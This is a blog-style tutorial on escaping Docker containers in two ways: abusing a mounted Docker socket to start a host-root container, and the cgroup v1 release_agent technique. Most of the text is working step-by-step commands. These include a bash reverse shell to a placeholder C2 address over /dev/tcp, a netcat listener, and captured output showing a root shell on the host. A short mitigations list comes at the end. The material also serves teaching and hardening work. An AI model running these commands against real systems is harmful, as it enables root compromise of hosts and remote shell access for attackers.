Breaking the Chains: Two Ways to Escape a Docker Container
Docker containers offer isolation, but misconfigurations can lead to escapes. Learn how attackers exploit the Docker socket and cgroups to break out.

Docker containers are supposed to be isolated, self-contained environments—like tiny prisons for code. But as with any good prison, there are ways to escape if you know where to look. Today, we’ll demonstrate two methods to break out of a Docker container and gain access to the host system.
Method 1: Escaping via the Docker Socket
If someone mounts the Docker (writable) socket (/var/run/docker.sock
) inside a container, they are effectively granting unrestricted access to the host’s Docker daemon. This is equivalent to having root privileges on the host system because Docker can create and manage containers with arbitrary configurations, including mounting the root filesystem, modifying system settings, or even executing commands as the host’s root user.
Why would someone mount the socket to the container itself? Often, developers do this for convenience when running Docker-in-Docker setups, enabling containerized CI/CD pipelines, or managing containers from within other containers. Projects like Prometheus also leverage this aproach to collect container metrics.
Step 1: Launch a Vulnerable Container
Let's run a misconfigured container to simulate a scenario where access has already been gained. While initial access methods are outside this article's scope, this setup demonstrates escape techniques.
docker run --rm -it --name expl01 -v /var/run/docker.sock:/var/run/docker.sock nginx bash
Step 2: Confirm the Docker socket is available
Run the following inside the container:
ls -l /var/run/docker.sock
If it exists and is writable by your user, we can use it to control the host’s Docker daemon.
Step 3: Install dependencies inside container
Install docker binaries inside container. We conveniently have apt
and root
privileges in nginx container by default.
export DEBIAN_FRONTEND=noninteractive
apt update && apt install -y apt-transport-https gpg curl && \
curl -fsSL https://download.docker.com/linux/debian/gpg | gpg --dearmor -o /etc/apt/keyrings/docker.gpg && \
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | tee /etc/apt/sources.list.d/docker.list && \
apt update && \
apt install -y docker-ce-cli
Step 4: Spawn a new privileged container
Still inside the compromised container, since we can talk to the Docker daemon, we can create a new container with full access to the host system:
docker run -v /:/host --rm -it alpine chroot /host sh
Boom. We’re now inside the host system with root access. From here, the world is our playground.
Method 2: Exploiting Cgroups and release agent
For our second method, let’s get a little fancy with cgroups. The Linux kernel’s control groups (cgroups) allow fine-grained resource management, but under certain conditions, they can also be exploited for container escape. The release agent is triggered by the kernel when a cgroup with notify_on_release
set to 1
is removed. Even though the trigger is set from within the container, the execution happens on the host as root, making it a powerful attack vector.
In this example we use two machines, one is your C2 server which will just listen for connection and establish reverse shell and second is victim.
Step 1: Start a listening process on your C2 server
ip a # note your IP, will be needed later
nc -lvnp 1234
Step 2: Confirm cgroup v1 is in use on Victim
We need a cgroup hierarchy with write access. On victim host run:
mount | grep "cgroup on"
# cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,name=systemd)
# cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids)
...
If we see cgroup
mounts, and we have write permissions, we’re in business and jump right to Step 3.
If you don't see what you need, one option is to enable cgroups v1 in kernel level during boot.
- Edit
/etc/default/grub
- locate
GRUB_CMDLINE_LINUX_DEFAULT
line - append
systemd.unified_cgroup_hierarchy=0
- update grub using
update-grub
command reboot
Step 3: Start our Victim container
Default nginx will serve us just fine
docker run \
--rm -it --name expl02 \
--cap-add=SYS_ADMIN \
--security-opt apparmor=unconfined nginx bash
Step 4: Create a new cgroup and set up the exploit
mkdir -p /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir -p /tmp/cgrp/x
Following tells the kernel to run a release_agent
script when the cgroup is cleaned up.
echo 1 > /tmp/cgrp/x/notify_on_release
Step 5: Set up a reverse shell script
Simple script calling to C2 and forwarding everything right to bash
cat << EOF > /cmd
#!/bin/sh
exec /bin/bash -c 'exec /bin/bash -i >& /dev/tcp/YOUR_C2_IP/1234 0>&1'
EOF
chmod a+x /cmd
Step 6: Tell release_agent
to run the script on release
To share the script from the container to the host, leverage the mounted directory. Any changes made inside the container persist on the host in /var/lib/docker
unless container is destroyed, and you can locate the correct path in /etc/mtab
.
host_path=`sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
Now, when this cgroup is removed, our release_agent
will be executed as root by host OS.
Step 7: Trigger the exploit
Spawn new shell and write it's PID newly created cgroup, so it becomes member. When the process exits, the kernel executes the release_agent
script as root on the host, running our /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
When our process dies, the release_agent
runs, spawning a shell as root on the host. Mission accomplished!
root@lab-test-0:~# nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on ....... 44176
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@lab-test-1:/#
Mitigations
To prevent these escapes:
- Don't treat containers as fully sealed. They can leak.
- Never mount
/var/run/docker.sock
in containers unless absolutely necessary. If you must, make sure the image is fully hardened and source is trustworthy. - Use rootless Docker to limit privilege escalation.
- Disable the
release_agent
feature in cgroups if not needed. - Run containers with minimal privileges
- Use up-to-date versions. (e.g. cgroups v1 were obsoleted, but still widely used)
Conclusion
Docker security is only as strong as its configuration. While containers provide a layer of isolation, they’re not foolproof. If an attacker gains access to a vulnerable container, they may find a way to escape—especially if the Docker socket or misconfigured cgroups are involved. Stay safe, and may your containers remain escape-proof!